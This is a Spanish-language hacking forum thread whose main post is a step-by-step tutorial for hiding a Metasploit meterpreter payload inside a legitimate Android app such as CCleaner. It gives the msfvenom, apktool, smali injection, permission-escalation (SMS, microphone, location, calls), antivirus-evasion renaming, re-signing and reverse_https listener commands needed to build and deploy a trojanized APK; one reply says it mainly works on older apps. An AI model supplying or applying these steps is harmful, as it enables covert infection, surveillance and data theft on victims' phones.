Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Esconder un payload en cualquier APK

  • 1 Respuestas
  • 3816 Vistas

0 Usuarios y 2 Visitantes están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5490
  • Actividad:
    6.67%
  • Reputación 36
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Octubre 05, 2018, 03:25:03 pm »
un APK es un paquete de aplicación de Android (Android Aplication Package) y que es como un .exe de Windows que contiene la aplicación y el instalador en el mismo paquete.


Lo que vamos a ver hacer es desempaquetar un .apk, y luego modificarlo añadiendo un payload generado por metasploit. Una vez construyamos ese paquete lo instalamos en un dispositivo Android haciendo que se ejecute la app legítima y a la vez nuestro payload dejando infectado el dispositivo Android.

Para empezar generamos el payload para Android con msf:

Código: Text
  1. msfvenom -p android/meterpreter/Payload_Type LHOST=(TU IP) LPORT=(PUERTO) -o meterpreter.apk


Luego nos descargamos una apk legítima como por ejemplo 'ccleaner' y decompilamos las dos con apktool:

Código: Text
  1. apktool d -f -o payload meterpreter.apk
  2. apktool d -f -o original ccleaner.apk


Copiamos la carpeta metasploit desde /payload/smali/com/metasploit a /original/smali/com/piriform


Nos vamos la carpeta ./original/ y editamos AndroidManifest.xml (con vim o el editor que queráis)


Buscamos las líneas siguientes que nos servirán como guía para encontrar la ruta a la aplicación principal que es la que nosotros queremos modificar:

Código: Text
  1. <action android:name="android.intent.action.MAIN"/>
  2. <category android:name="android.intent.category.LAUNCHER"/>

Encima de éstas, encapsulándolas habrá una etiqueta <activity
Nos fijamos en la propiedad Android:name= de esta etiqueta que tendrá una estructura similar a "com.piriform.ccleaner.ui.activity.MainActivity"


Por tanto, ya sabemos el fichero que tenemos que editar de nuestra app legitima (dentro de ./original/smali/), nos vamos a este fichero que será algoparecido a "com/piriform/ccleaner/ui/activity/MainActivity.smali" , es decir, por cada "." Será una "/".

Editamos este fichero .smali y buscamos la línea:

Código: Text
  1. ;->onCreate(Landroid/os/Bundle; )V

En la siguiente línea a esta ponemos:

Código: Text
  1. invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context; )V

Donde le indicamos que invoque nuestra app que en este caso es el Payload de msf y después continúe con la ejecución normal de la app legitima


Ahora vamos a añadir más permisos a esta app de los que tiene, nos vamos dentro del directorio de la aplicación ./original/ y modificamos el AndoridManifest.xml


Añadiremos los permisos que consideremos, en mi caso puse estos:

Código: Text
  1. <uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION"/>
  2. <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
  3. <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
  4. <uses-permission android:name="android.permission.SEND_SMS"/>
  5. <uses-permission android:name="android.permission.RECEIVE_SMS"/>
  6. <uses-permission android:name="android.permission.RECORD_AUDIO"/>
  7. <uses-permission android:name="android.permission.CALL_PHONE"/>

Si lo que queremos es ponérselo mas difícil a un antivirus que tuviera el móvil/Tablet podemos hacer lo siguiente dentro del directorio (Esto es opcional) ./original/smali/com/metasploit

Código: Text
  1. sed -i 's/metasploit/conf-schema/g' `rgrep -r metasploit ./* | awk '{print $1}' | cut -d':' -f1`
  2. sed -i 's/Payload/init-conf' `rgrep -r Payload ./* | awk '{print $1}' | cut -d':' -f1`
  3. sed -i 's/payload/init-conf' `rgrep -r payload ./* | awk '{print $1}' | cut -d':' -f1`

Después de eso debemos de cambiar el fichero Payload.smali por init-config.smal


también cambiamos el nombre de /original/smali/com/piriform/metasploit a /original/smali/com/piriform/conf-schema, además de todo eso deberemos de cambiar la línea

Código: Text
  1. invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

que hemos puesto antes con el nombre correspondiente:

Código: Text
  1. invoke-static {p0}, Lcom/conf-scheme/stage/init-conf;->start(Landroid/content/Context;)V

yo he puesto estos nombres pero podéis poner lo que queráis, ahora vamos a recompilar otra vez la app, hacemos:

apktool b original/

A continuación comenzará a construir nuestra app.


Dentro del directorio ./original/dist estará nuestra apk construida/compilada.

Ahora toca firmar la apk para que esta sea "legitima" por tanto creamos en nuestro home el directorio .android

mkdir ~/.android

Generamos la key para firmar con:

keytool -genkey -v -keystore ~/.android/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname "CN=Android Debug,O=Android,C=US"

Para firmar con esa firma hacemos:

jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg SHA1withDSA /home/xarly/original/dist/ccleaner-v1-17-66.apk androiddebugkey

Ahora nos queda dejar a la escucha el metasploit con:

Código: Text
  1. msfconsole
  2. use exploit/multi/handler
  3. set Payload android/meterpreter/reverse_https
  4. set LHOST 192.168.1.135
  5. set LPORT 8181
  6. set ExitOnSession False
  7. exploit -j -z
  8.  

Ejecutamos la app en el móvil:






Deberíamos ver como se conecta nuestro meterpreter.

Nota: puede que nos pida que habilitemos las opciones de orígenes desconocidos.



Autor: niqqo_18
Fuente: taringa.net/posts/ebooks-tutoriales/19715978/HACKEAR-ANDROID-Esconder-un-payload-en-cualquier-APK.html


Desconectado user_en1gm4

  • *
  • Underc0der
  • Mensajes: 53
  • Actividad:
    0%
  • Reputación 2
  • 01 01
    • Ver Perfil
    • Email
« Respuesta #1 en: Octubre 05, 2018, 05:17:35 pm »
sirve para apks viejas, ahora ya no se pueden descompilar tan facil por la cuestion de la firma que google obliga a poner para subirla, por ejemplo apps hechas con android studio ultima version ya no se descompilan

 

¿Te gustó el post? COMPARTILO!



Rootea casi cualquier Android sin necesidad del PC con towelroot

Iniciado por ANTRAX

Respuestas: 11
Vistas: 8325
Último mensaje Marzo 02, 2017, 07:49:38 pm
por Stiuvert
Instalar Android x.x en cualquier sistema de virtualización multiplataforma.

Iniciado por arm972

Respuestas: 0
Vistas: 2231
Último mensaje Mayo 18, 2014, 04:11:49 pm
por arm972
Descarga cualquier APK del Play Google sin tener telefono

Iniciado por ANTRAX

Respuestas: 7
Vistas: 5239
Último mensaje Octubre 03, 2014, 04:27:10 am
por Gabriela
Bloquea la conexión a internet de cualquier ordenador de la red con tu Android

Iniciado por 54NDR4

Respuestas: 4
Vistas: 4855
Último mensaje Abril 14, 2013, 12:58:40 pm
por ANTRAX